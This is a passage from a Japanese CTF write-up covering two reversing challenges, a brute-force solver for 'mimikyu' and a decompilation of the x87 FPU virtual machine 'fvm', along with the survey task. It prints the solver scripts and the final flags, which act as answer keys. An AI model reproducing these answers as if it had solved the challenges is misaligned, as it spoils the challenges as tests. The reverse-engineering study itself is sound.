.0x7fffffffe320:        "50849"
.0x7fffffffe320:        "64921"
.0x7fffffffe320:        "21277"
.0x7fffffffe320:        "23789"
.0x7fffffffe320:        "3181"
.0x7fffffffe320:        "47207"
.0x7fffffffe320:        "14797"
.0x7fffffffe320:        "25577"
.0x7fffffffe320:        "44789"
.0x7fffffffe320:        "28751"
.0x7fffffffe320:        "3779"
.0x7fffffffe320:        "11149"
.0x7fffffffe320:        "54751"
.0x7fffffffe320:        "35339"
.0x7fffffffe320:        "58477"
.0x7fffffffe320:        "50839"
.0x7fffffffe320:        "59021"
.0x7fffffffe320:        "57467"
.0x7fffffffe320:        "21799"
.0x7fffffffe320:        "61169"
.0x7fffffffe320:        "62459"

Correct!
[Inferior 1 (process 9937) exited normally]
(gdb)

これで4文字ごとにブルートフォースする準備は整ったので、ソルバーを書きました:

#!/usr/bin/env python3

import tqdm

cap_results = [
25997,
31567,
47317,
61651,
23719,
64553,
36493,
2143,
4967,
63977,
12197,
36451,
49597,
18481,
20011,
33353,
53861,
3671,
54767,
50849,
64921,
21277,
23789,
3181,
47207,
14797,
25577,
44789,
28751,
3779,
11149,
54751,
35339,
58477,
50839,
59021,
57467,
21799,
61169,
62459,  ]
# print(len(cap_results))

# __gmpz_cmp_uiが受けるデータ構造がよくわからないもののエスパー
encoded = [
int.from_bytes(bytes.fromhex("F4 C5 25 C0 E4 0F 00 00"), "little"),
int.from_bytes(bytes.fromhex("8A 7E F1 2F 79 1B 00 00"), "little"),
int.from_bytes(bytes.fromhex("40 AB 56 B1 83 01 00 00"), "little"),
int.from_bytes(bytes.fromhex("DA E5 F5 FC EF 0B 00 00"), "little"),
int.from_bytes(bytes.fromhex("51 E2 86 CF 97 02 00 00"), "little"),
int.from_bytes(bytes.fromhex("B4 D4 C1 ED B3 0E 00 00"), "little"),
int.from_bytes(bytes.fromhex("08 3A CE 10 FA 00 00 00"), "little"),
int.from_bytes(bytes.fromhex("72 86 41 DD 2B 00 00 00"), "little"),
int.from_bytes(bytes.fromhex("46 EA 50 50 BB 5E 00 00"), "little"),
int.from_bytes(bytes.fromhex("86 CF 73 9B BF 05 00 00"), "little"),
]

# for x in encoded:
#     print(hex(x))

def generate_flag_4bytes():
    r = range(0x20, 0x7F)
    for i in r:
        for j in r:
            for k in r:
                for l in r:
                    value = (i<<24) | (j<<16) | (k << 8) | (l << 0)
                    yield value

for i in range(len(cap_results)//4):
    mod = 1
    mod *= cap_results[i*4+0]
    mod *= cap_results[i*4+1]
    mod *= cap_results[i*4+2]
    exp = cap_results[i*4+3]
    for f in tqdm.tqdm(generate_flag_4bytes()):
        if pow(f, exp, mod) == encoded[i]:
            print(f.to_bytes(4, "little"))
            break

実行しました:

$ ./solve.py
14435111it [00:35, 414053.32it/s]b'zer0'
14464695it [00:35, 407419.25it/s]
78776944it [02:46, 469076.47it/s]b'pts{'
78778260it [02:46, 471772.67it/s]
64445716it [02:45, 376570.46it/s]b'L00k'
64449089it [02:45, 390476.90it/s]
16927484it [00:38, 452864.80it/s]b'_th3'
16947968it [00:38, 445276.31it/s]
72721143it [02:59, 392649.34it/s]b'_1nt'
72725128it [02:59, 404925.01it/s]
17835213it [00:35, 464871.85it/s]b'3rn4'
17859259it [00:35, 496568.47it/s]
60163646it [02:47, 348851.38it/s]b'l_0f'
60166711it [02:47, 359834.77it/s]
56721417it [02:39, 312304.45it/s]b'_l1b'
56747458it [02:39, 355525.84it/s]
15297524it [00:40, 389103.78it/s]b'r4r1'
15317407it [00:40, 377602.88it/s]
79750458it [04:00, 315638.45it/s]b'3s!}'
79752804it [04:00, 331722.33it/s]
$

フラグ算出に20分弱かかりましたが、フラグを入手できました: zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}

なお、問題バイナリに正解フラグを渡した場合でも、検証に2分かかりました:

$ time ./mimikyu zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}
Checking...........................................
Correct!
./mimikyu zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}  120.38s user 0.01s system 99% cpu 2:00.40 total
$

[reversing] fvm (28 team solved, 175 points) 

Are you bored with x86? Enjoy this x87 VM.

配布ファイルとして、fvmがありました:

$ file *
fvm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1d42a28426669c67d05b93fef2bd37b8d660d1fd, for GNU/Linux 3.2.0, not stripped
$

非常に悩み、長時間取り組んだ問題です。

内容理解

IDAで問題バイナリを開いて確認すると、main関数では以下の処理を行っているようでした:

  • stringstreamの初期化らしいなにか。
  • グローバル変数code内容をstringstreamへ書き込み。
  • finit命令(これを読み落としたせいで後でドツボにはまります)
  • fvm::emulateを実行し、code内容をエミュレート(=virtual machine、問題名のとおりです)。

ここで、fvm::emulate内容は浮動小数点数演算を多用しているもので、逆コンパイル結果があまり役に立たないものになっていました:

逆コンパイラも浮動小数数点演算命令の前にはほぼ無力

また、各種命令の処理中でしばしばr13レジスタを使っていますが、その内容は以下の通り、ローカル変数のアドレスです:

fvm::emulate(void)+46   078                 lea     r13, [rsp+78h+qwSavedPosition]

そのため実質的に、各種命令では補助レジスタ1つのみを使い回しています。

とりあえず実行してみると、フラグ検証機のようでした:

$ ./fvm
FLAG: test
NG.
$

後のググり中に知ったことですが、問題文にあるx87とは、どうやら浮動小数点数関係のプロセッサ(もといアーキテクチャ？)のようです。道理で浮動小数点数演算命令を大量に使った仮想マシンなわけです！

インラインアセンブラ万歳なCコードへの逆コンパイル

問題を解くためには、グローバル変数codeが表現する処理内容を理解する必要があります。その過程で試行錯誤を繰り返しました:

  • 「単純な逆アセンブラを書いて、頑張って脳内で読み解く？」→そもそも浮動小数点数演算命令に全く馴染みがないことや、浮動小数点数演算命令はSTレジスタというスタックを使うということがあり、即座に脳が理解を拒否。
  • 「インラインアセンブラを多用してでもC言語ソースに起こして、gccあたりでコンパイルしてデバッガで追う？」→fistp命令やfild命令等ではC言語の変数をインラインアセンブラと連携させる必要がありますが、gccのインラインアセンブラの記法が相変わらず全く理解できず挫折(詳細: Extended Asm (Using the GNU Compiler Collection (GCC)))。
  • 「Visual C++向けのインラインアセンブラなら自然にC言語の変数と連携できるので、Visual C++向けCソースコードに起こす？」→Visual C++のインラインアセンブラはある程度慣れ親しんでいるので、その方針にしました！

C言語ソースコードに正しく起こすのは大変でした。具体的には、相対ジャンプ先やジャンプ条件をバグらせたり、また、__asm{}ブロック中の1行に複数の命令を記述していると、inline assembler syntax error in 'opcode'; found 'constant'エラーが出て悩んだりしました(1行1命令にすると何故か直りました)。また、main関数中のfinit命令を完全に入れ忘れてしまっており、「fldpi, fldpi, fmulp st(1), stの結果(=pi**2)が、fvmをデバッグ実行した場合と自作Cソース起こし版とで微妙に違う！」と壮大に悩んだりしていました(FPUのControl Wordの設定値が異なっていたためです)。

とはいえ、デバッグ出力も入れ放題なため、各ブロックの実行順や、重要な数値(特に9命令で読み込む10バイト値)の理解には極めて役立ちました。最終的なCソースコード生成スクリプトです(コードフロー用等のデバッグ出力は途中でコメントアウトしました):

#!/usr/bin/env python3

code = bytes.fromhex("23 38 41 24 43 54 24 43 54 73 24 38 38 41 43 27 41 24 43 54 73 24 38 38 23 51 43 43 43 54 73 23 24 41 24 38 43 43 54 73 23 38 38 51 43 43 24 43 54 73 23 38 38 43 43 54 22 41 73 21 62 94 01 62 B2 01 62 84 01 39 05 3F 11 F4 FF 29 57 81 0E 40 65 03 00 32 53 32 3A 39 5E 57 F3 B4 A3 8C 7F BA 07 40 65 03 00 31 53 31 3A 62 67 01 62 85 01 62 57 01 39 B7 73 80 E1 B0 72 87 F2 03 40 65 03 00 32 53 32 3A 39 3F 68 A3 E4 04 9A 3B 8F 07 40 65 03 00 31 53 31 3A 62 3A 01 62 58 01 62 2A 01 39 54 27 B5 B6 95 52 5D CD 0B 40 65 03 00 32 53 32 3A 39 28 91 9A 4A A2 71 37 91 07 40 65 03 00 31 53 31 3A 62 0D 01 62 2B 01 62 FD 00 39 A3 86 14 05 41 8C 74 E5 0B 40 65 03 00 32 53 32 3A 39 BC 61 ED F2 E9 6E C1 AB 06 40 65 03 00 31 53 31 3A 62 E0 00 62 FE 00 62 D0 00 39 88 92 3A E0 69 3F 54 92 06 40 65 03 00 32 53 32 3A 39 0F D1 BE E3 39 A1 96 C5 05 40 65 03 00 31 53 31 3A 62 B3 00 62 D1 00 62 A3 00 39 83 EA 7B 97 E5 4C D3 EA 06 40 65 03 00 32 53 32 3A 39 87 EF B0 D1 5C FE 86 AD 04 40 65 03 00 31 53 31 3A 62 86 00 62 A4 00 62 76 00 39 19 42 6C D4 CA F6 F2 D9 09 40 65 03 00 32 53 32 3A 39 EF FF DA 15 13 EA AE DB 06 40 65 03 00 31 53 31 3A 62 59 00 62 77 00 62 49 00 39 FE 13 97 DF CD 12 7E F0 0A 40 65 03 00 32 53 32 3A 39 1C AF CF 1F 96 45 41 A5 06 40 65 03 00 31 53 31 3A 72 23 38 43 25 41 24 38 43 43 54 64 05 00 3A 3A 63 7D 00 3A 39 5A 88 34 14 A0 C3 05 BD FE 3F 64 8E 00 63 6B 00 32 38 32 38 32 43 32 41 32 61 72 62 42 00 72 62 3E 00 22 22 41 23 43 43 24 38 41 54 24 38 43 43 54 24 43 54 44 38 52 42 43 31 61 72 62 21 00 72 62 1D 00 22 22 41 23 43 43 24 38 41 54 24 38 43 43 54 24 43 54 44 38 53 22 41 31 52 43 43 31 61 31 23 38 43 23 43 54 22 41 67 0F 00 24 38 43 24 43 25 41 24 43 54 68 02 00 31 61 23 25 43 24 41 23 38 43 43 54 73 23 24 41 24 38 43 43 54 73 22 23 41 24 38 43 43 54 73 63 21 00 23 22 45 41 24 38 38 43 43 43 54 73 24 38 26 23 41 24 41 43 43 54 73 23 38 43 24 43 54 73 63 00 00 23 38 43 54 73 71")

def parse_code(code):
    # 「fstsw ax」直後に普通にaxを使ったCコードを書くと、その間に「スタックからax用C変数を読み込む」のが挟まってfstsw結果が破壊されてしまったので関数へ隔離
    # 他にも動作確認関数も用意
    global_variable_code = """
__declspec(naked)
short fstsw(void) {
__asm{
fstsw   ax
ret
}
}

long double get_st_0(void) {
long double x;
__asm {
fst x
}
return x;
}

long double get_st_1(void) {
long double x;
__asm {
fxch    st(1)
fst x
fxch    st(1)
}
return x;
}

"""
    main_content_code = """
short ax = 0;
int savedIndex = 0;
int index = 0;
int getchar_count = 0;
while(1){
switch(index){
"""

    index = 0
    savedIndex = -1
    while index < len(code):
        variable_name = f"V{index:04}"
        main_content_code += f"case {index}: "

        b = code[index]
        index += 1

        main_content_code += f"/*{chr(b)}*/ "

        if (((b - 98) + 256 ) % 256) <= 13: # "b"～"o"が該当
            wSeek = code[index] + (code[index+1] << 8)
            index += 2

        is_end_of_block = False
        # https://www.felixcloutier.com/x86/
        if b == ord("!"): main_content_code += f"""__asm{{
    fldz
}}"""
        elif b == ord('"'): main_content_code += f"""__asm{{
    fld1
}}"""
        elif b == ord("#"): main_content_code += f"""__asm{{
    fldpi
}}"""
        elif b == ord("$"): main_content_code += f"""__asm{{
    fldl2t
}}"""
        elif b == ord("%"): main_content_code += f"""__asm{{
    fldl2e
}}"""
        elif b == ord("&"): main_content_code += f"""__asm{{
    fldlg2
}}"""
        elif b == ord("'"): main_content_code += f"""__asm{{
    fldln2
}}"""
        elif b == ord("1"): main_content_code += f"""__asm{{
    fxch    st(1)
}}"""
        elif b == ord("2"): main_content_code += f"""__asm{{
    fxch    st(2)
}}"""
        elif b == ord("3"): main_content_code += f"""__asm{{
    fxch    st(3)
}}"""
        elif b == ord("4"): main_content_code += f"""__asm{{
    fxch    st(4)
}}"""
        elif b == ord("5"): main_content_code += f"""__asm{{
    fxch    st(5)
}}"""
        elif b == ord("6"): main_content_code += f"""__asm{{
    fxch    st(6)
}}"""
        elif b == ord("7"): main_content_code += f"""__asm{{
    fxch    st(7)
}}"""
        elif b == ord("8"): main_content_code += f"""__asm{{
    fst     st(7)
    fdecstp
}}"""
        elif b == ord("9"):
            # Pythonのstructパッケージだと8バイト浮動小数点数までのみで10バイト長は無理そうだったので、元通りasmに頼る
            variable_value = f"""{{{",".join(map(lambda x:str(x), code[index:index+10]))}}}"""
            index += 10
            global_variable_code += f"unsigned char {variable_name}[10] = {variable_value};\n"
            main_content_code += f"""__asm{{
    mov esi, offset {variable_name}
    fld tbyte ptr [esi]
}} /*printf("9: fld %.20Lf \\n", get_st_0());*/"""
        elif b == ord(":"): main_content_code += f"""__asm{{
    ffree   st
    fincstp
}}"""
        elif b == ord("A"): main_content_code += f"""__asm{{
    faddp   st(1), st
}}"""
        elif b == ord("B"): main_content_code += f"""__asm{{
    fsubp   st(1), st
}}"""
        elif b == ord("C"): main_content_code += f"""__asm{{
    fmulp   st(1), st
}}"""
        elif b == ord("D"): main_content_code += f"""__asm{{
    fdivp   st(1), st
}}"""
        elif b == ord("E"): main_content_code += f"""__asm{{
    fchs
}}"""
        elif b == ord("Q"): main_content_code += f"""__asm{{
    fsqrt
}}"""
        elif b == ord("R"): main_content_code += f"""__asm{{
    fsin
}}"""
        elif b == ord("S"): main_content_code += f"""__asm{{
    fcos
}}"""
        elif b == ord("T"): main_content_code += f"""__asm{{
    frndint
}}"""
        elif b == ord("a"):
            main_content_code += f"""__asm{{
    fistp savedIndex
}}
    index = savedIndex; /*printf("a: index := %d\\n", index);*/"""
            is_end_of_block = True
        elif b == ord("b"):
            main_content_code += f"""savedIndex = {index};
__asm{{
    fild savedIndex
}}
    index = {index + wSeek}; /*printf("b: index := %d\\n", index);*/"""
            is_end_of_block = True
        elif b == ord("c"):
            main_content_code += f"""index = {index + wSeek}; /*printf("c: index := %d\\n", index);*/"""
            is_end_of_block = True
        elif b == ord("d"):
            main_content_code += f"""printf("fcomp %.20Lf, %.20Lf\\n", get_st_0(), get_st_1()); __asm{{
    fcomp   st(1)
}}
    ax = fstsw(); if ( (ax & 0x4000) != 0 ) {{index = {index + wSeek};}} else {{index = {index};}} /*printf("d: ax & 0x4000 => %d, index := %d\\n", !!(ax & 0x4000), index);*/"""
            is_end_of_block = True
        elif b == ord("e"):
            main_content_code += f"""printf("fcomp %.20Lf, %.20Lf\\n", get_st_0(), get_st_1()); __asm{{
    fcomp   st(1)
}}
    ax = fstsw(); if ( (ax & 0x4000) == 0 ) {{index = {index + wSeek};}} else {{index = {index};}} /*printf("e: ax & 0x4000 => %d, index := %d\\n", !!(ax & 0x4000), index);*/"""
            is_end_of_block = True
        elif b == ord("f"):
            main_content_code += f"""/*printf("fcomp %.20Lf, %.20Lf\\n", get_st_0(), get_st_1()); __asm{{
    fcomp   st(1)
}}
    ax = fstsw(); if ( (ax & 0x100) == 0 ) {{index = {index + wSeek};}} else {{index = {index};}} /*printf("f: ax & 0x0100 => %d, index := %d\\n", !!(ax & 0x0100), index);*/"""
            is_end_of_block = True
        elif b == ord("g"):
            main_content_code += f"""/*printf("fcomp %.20Lf, %.20Lf\\n", get_st_0(), get_st_1()); */__asm{{
    fcomp   st(1)
}}
    ax = fstsw(); if ( (ax & 0x100) == 0 && (ax & 0x4000) == 0 ) {{index = {index + wSeek};}} else {{index = {index};}} /*printf("g: ax & 0x4000 => %d, ax & 0x0100 => %d, index := %d\\n", !!(ax & 0x4000), !!(ax & 0x0100), index);*/"""
            is_end_of_block = True
        elif b == ord("h"):
            main_content_code += f"""/*printf("fcomp %.20Lf, %.20Lf\\n", get_st_0(), get_st_1());*/ __asm{{
    fcomp   st(1)
}}
    ax = fstsw(); if ( (ax & 0x100) != 0 || (ax & 0x4000) != 0 ) {{index = {index + wSeek};}} else {{index = {index};}} /*printf("h: ax & 0x4000 => %d, ax & 0x0100 => %d, index := %d\\n", !!(ax & 0x4000), !!(ax & 0x0100), index);*/"""
            is_end_of_block = True
        elif b == ord("i"):
            main_content_code += f"""/*printf("fcomp %.20Lf, %.20Lf\\n", get_st_0(), get_st_1());*/ __asm{{
    fcomp   st(1)
}}
    ax = fstsw(); if ( (ax & 0x100) != 0 ) {{index = {index + wSeek};}} else {{index = {index};}} /*printf("i: ax & 0x0100 => %d, index := %d\\n", !!(ax & 0x0100), index);*/"""
            is_end_of_block = True
        elif b == ord("q"): main_content_code += "goto END_OF_EXECUTE;"
        elif b == ord("r"): main_content_code += f"""savedIndex = getchar(); printf("%d's getchar() => %c\\n", ++getchar_count, savedIndex);
__asm{{
    fild savedIndex
}}"""
        elif b == ord("s"): main_content_code += f"""__asm{{
    fistp savedIndex
}}
    putchar(savedIndex);"""
        else: raise Exception(f"Unknown code: {b:02X}")

        if is_end_of_block:
            main_content_code += " break;\n"
        main_content_code += "\n"
    main_content_code += """default: puts("SHOULD NOT REACH HERE.");
}
}
END_OF_EXECUTE:;
"""
    return (global_variable_code, main_content_code)

(global_variable_code, main_content_code) = parse_code(code)

print("#include <stdio.h>")
print(global_variable_code)
print("int main(void) {")
print("setvbuf(stdout, NULL, _IONBF, 0);") # disable buffering ← 他プログラムから対話的操作しようとした名残です
print("// setvbuf(stdin, NULL, _IOLBF, 0);") # 不要かもしれない
print("""{
short mode = 0x37f;
__asm {fldcw mode}
}""")                           # 最重要の丸めモード等の設定、さもなければpi*pi時点でELF版から誤差がでる ← このスクリプトを書いている時点ではmain関数のfinit命令を見逃していました！その命令と同じことだと思います。
print(main_content_code)
print("return 0;")
print("}")

実行内容の理解

あまりにも浮動小数点数演算命令に馴染みがなさすぎて、なかなか読み進める覚悟が出ませんでした。色々回り道をした後に覚悟を決めて、ドキュメントを読んだり、デバッグ出力を活用したり、gdb/x64dbgでステップ実行してSTレジスタの推移を頑張って追ったりすると、どうにか読解できました。詳細は後述の「考察メモ」を参照ください。ここでは概要を記述します:

  1. FLAG:文字列を出力
  2. 4文字単位で、以下の処理を8回行い、累計32文字を読み込み
    1. 4N+1文字目と4N+2文字目を読み込み、それぞれ0x20 <= 入力文字 <= 0x7Eの範囲であることを検証
    2. tmp = (4N+2文字目); tmp = (tmp * 2 * pi) / 256.0; tmp -= sin(tmp); 結果1 = tmp * (4N+1文字目);を計算
    3. 4N+3文字目と4N+4文字目を読み込み、それぞれ0x20 <= 入力文字 <= 0x7Eの範囲であることを検証
    4. tmp = (4N+4文字目); tmp = (tmp * 2 * pi) / 256.0; tmp = (cos(tmp) + 1) * sin(tmp); 結果2 = tmp * (4N+3文字目);を計算
    5. 結果3 = 結果1 * 結果2; 結果4 = 結果1 + 結果2;を計算
    6. 結果3, 結果4について、それぞれ固有の9命令由来の定数と一致するかを検証
      • 結果3, 結果4それぞれについて、一致する場合は正解判定用の数値(初期値は0)にfcosを適用する。全部正解なら16回適用される。
  3. 33文字目を読み込み、その値が125(='}')であることを検証
  4. 正解判定用の数値が、0.73836920412232320832(=0にfcosを16回適用した値)であることを検証。
  5. 検証結果に従って、OK!かNG.文字列を出力

ソルバー

得られた知識を活用してソルバーを書きました。9命令由来の定数はデバッグ出力から得ました。4文字ごとにまとまって処理されているため、3文字を固定すれば残り1文字は計算できます:

#!/usr/bin/env python3

import math

def isclose(a, b):
    return abs(a - b) < 0.000001

def restore_input(mul1234, sum1234):
    candidates = list(reversed(range(0x20, 0x7F)))
    for v2 in candidates:
        for v3 in candidates:
            for v4 in candidates:
                c4 = v4 * 2 * math.pi / 256
                c4 = (math.cos(c4) + 1) * math.sin(c4)
                c34 = c4 * v3
                c2 = v2 * 2 * math.pi / 256
                c2 -= math.sin(c2)
                c12 = sum1234 - c34
                v1 = round(c12 / c2)
                if isclose(v1, c12 / c2) and 0x20 <= v1 <= 0x7E and isclose(c12 * c34, mul1234):
                    # print(c12*c34)
                    return (v1, v2, v3, v4)

# 処理を追うときの入力と、その時のデバッガーで確認したSTレジスタ値
test = restore_input(807.2474666155433025, 75.31200230760765110)
# print(test)
assert test[0] == ord("0")
assert test[1] == ord("1")
assert test[2] == ord("2")
assert test[3] == ord("3")

expected_values = [
    (33111.16406178876059129834, 372.99647947631336819541),
    (30.31613672435928918958, 286.46563779033641594651),
    (6571.66532461872429848881, 290.43315533297311503702),
    (7342.56848339051157381618, 171.75559866124001473509),
    (146.32909261440596537795, 98.79419880776495688224),
    (234.82539210270252283408, 43.38182969121793064460),
    (1743.59262601364935107995, 219.68325919421749858884),
    (3847.87959086742284853244, 165.25496805454866944274),
    ]

for (v1, v2) in expected_values:
    t =restore_input(v1, v2)
    print("".join(map(chr, t)), end = "")
print("}")

実行しました:

$ ./solve.py
zer0pts{fun_0f_FPU_st4ck_m4ch1n3}
$ ./fvm
FLAG: zer0pts{fun_0f_FPU_st4ck_m4ch1n3}
OK!
$

フラグを入手できました: zer0pts{fun_0f_FPU_st4ck_m4ch1n3}

考察メモ

どなたかの役に立つかもしれないので、読解メモを貼り付けておきます:

- fvm本家の方でのブレークポイント設置場所
  - switch開幕 :: 「b *(_ZN3fvm7emulateEv+0x8d)」
  - r(=read) :: 「b *(_ZN3fvm7emulateEv+0xE8)」
  - g :: 「b *(_ZN3fvm7emulateEv+0x188)」
  - 9 :: 「b *(_ZN3fvm7emulateEv+0x2E7)」
  - e :: 「b *(_ZN3fvm7emulateEv+0x1EA)」

- FPU status registerの話 https://c9x.me/x86/html/file_module_x86_id_124.html , https://xem.github.io/minix86/manual/intel-x86-and-64-manual-vol1/o_7281d5ea06a5b67a-194.html
  - 0x0100 :: Condition CodeのC0、fcomp後だと「ST(0) < ST(i)」(or unordered)
  - 0x4000 :: Condition CodeのC3、fcomp後だと「ST(0) = ST(i)」(or unordered)

- 構造(4文字ごとの小さな分岐2回でそれぞれfcosを通らせる。16回全部fcos突入で正解)
  - 0-60: プロンプト表示, jmp to 467

  - 4文字単位の計算結果の検証ゾーン
    - 63: b命令でjmp to 500 (499からここへ飛んだ)
    - 66: b命令でjmp to 457 (536からここへ飛んだ、あとで69へ帰ってくる)
    - 69-105: (80,98,で内部的に小さな分岐を含む) jmp to 467 (4文字getcharの後に457のからくる)
      - 80では「12文字目統合結果*34文字目統合結果」が9命令結果との一致を確認
      - 98では「12文字目統合結果+34文字目統合結果」が9命令結果との一致を確認

  - 108: b命令でjmp to 500 (6文字目のgetcharの後、475の先からくる)
  - 111: b命令でjmp to 457
  - 114-150: (125,143で内部的に小さな分岐を含む) jmp to 467 (8文字getcharの後に457のからくる)
  - 153: b命令でjmp to 500
  - 156: b命令でjmp to 457
  - 159-195: (170,188で内部的に小さな分岐を含む) jmp to 467 (12文字getcharの後に457のからくる)
  - 198: b命令でjmp to 500
  - 201: b命令でjmp to 457
  - 204-240: (215,233で内部的に小さな分岐を含む) jmp to 467 (16文字getcharの後に457のからくる)
  - 243: b命令でjmp to 500
  - 246: b命令でjmp to 457
  - 249-285: (260,278で内部的に小さな分岐を含む) jmp to 467 (20文字getcharの後に457のからくる)
  - 288: b命令でjmp to 500
  - 291: b命令でjmp to 457
  - 294-330: (305,323で内部的に小さな分岐を含む) jmp to 467 (24文字getcharの後に457のからくる)
  - 333: b命令でjmp to 500
  - 336: b命令でjmp to 457
  - 339-375: (350,368で内部的に小さな分岐を含む) jmp to 467 (28文字getcharの後に457のからくる)
  - 378: b命令でjmp to 500
  - 381: b命令でjmp to 457
  - 384-431: (395,413で内部的に小さな分岐を含む,420でgetcharを含む) jmp to 439(最終判定) or 434(=NG) (←33文字目のgetchar, "}"判定)(32文字getcharの後に457のからくる)
  - 434-436: jmp to 564(=NG)
  - 439-451: jmp to 596(=OK!) or 454(=NG) (←最終判定)
  - 454: jmp to 564(=NG)

  - 4文字単位での最終計算ゾーン
    - 457-466: なにかして466でa命令でどっかへjmp(66から来たので69へ帰る)
      - ST(0):536での3文字目4文字目統合結果, ST(1):499での1文字目2文字目統合結果
      - ST(1) <- 12文字目統合結果*34文字目統合結果 ("0123"の場合は「807.2474666155433025」)
      - ST(2) <- 12文字目統合結果+34文字目統合結果 ("0123"の場合は「75.31200230760765110」)

  - 467-468: 467でgetchar, jmp to 537 (←1,5,9,13,17,21,25,29文字目のgetchar)
  - 471-472: 471でgetchar, jmp to 537 (←2,6,10,14,18,22,26,30文字目のgetchar、この時点で1回目入力はST(0)にある) (その後a命令で475へ)
  - 475-499: なにかしてa命令でどっかへjmp (63へ飛んだ)
    - ST(0):2文字目、ST(1):1文字目から始まって
    - 2文字目 *= 2 * pi
    - 2文字目 /= 256.0 # case 493 D
    - 2文字目 -=- sin(2文字目) # case 496 B
    - fmulp(↑の2文字目結果, 1文字目そのまま) # これで領域を1つへ統合、1文字目'1'で2文字目'2'のときは「12.94311066564498415」になる

  - 3～4文字目入力ゾーン？
    - 500-501: 500でgetchar, jmp to 537 (←3,7,11,15,19,23,27,31文字目のgetchar)
    - 504-505: 504でgetchar, jmp to 537 (←4,8,12,16,20,24,28,32文字目のgetchar、このとき3文字目はST(0)にある)
    - 508-536: なにかしてa命令でどっかへjmp (66へ飛んだ)
      - ST(0):4文字目、ST(1):3文字目、ST(2)はjmp先の66、ST(3):↑の1文字目2文字目の統合結果
      - 4文字目 *= 2 * pi # case 513 C
      - 4文字目 /= 256.0 # case 526 D
      - 4文字目 = (cos(4文字目) + 1) * sin(4文字目) # case 533 C
      - fmul(↑の4文字目結果, 3文字目そのまま) # これで領域を1つへ統合、3文字目'3'で4文字目'4'のときは「62.36889164196266695」になる

  - 0x20 <= x <= 0x7E判定ゾーン (L1042)
    - 537-546: jmp to 564(=NG,  32未満判定？) or 549
    - 549-559: jmp to 564(=NG, 128以上判定？) or 562(=aでどっかへ)
    - 562-563: なにかやってa命令でどっかへjmp(飛び順: [471, 475](=b命令で537へ行っている場合はその直後へ飛んでる？))

  - 終了ゾーン
    - 564-593: 「NG.」出力, jmp to 629(=fin)
    - 596-626: 「OK!」出力, jmp to 629(=fin)
    - 629-634: 「\n」出力して終了

[survey] survey (135 team solved, 88 points) 

Please answer the survey for the flag. The more detailed your feedback is, the happier the organizers will be.

問題文中に、Google Formへのリンクがあります。回答してフラグを入手できました: zer0pts{th4nk5_f0r_g1v1ng_u5_th3_f33db4ck!!}

感想

  • warmup難易度でも解けたのは2ジャンルだけで、他のジャンルは手も足も出ませんでした。
  • 逆コンパイラが普及している現状だからこそ面白い問題や、Windows環境では稀によく見る処理がLinux環境でも実現できると分かった問題など、興味深い問題に正解できたのは嬉しいです。
  • 浮動小数点演算命令にある程度慣れられました。けれどもControl Wordレジスタの設定値の違いだけで誤差が積み重なっていくのは恐ろしいことにも思いました。
  • fvm問題に取り組んでいるうちに夜が明けていました。CTFで徹夜をするのは初めての体験です！解けた後はよく眠れました。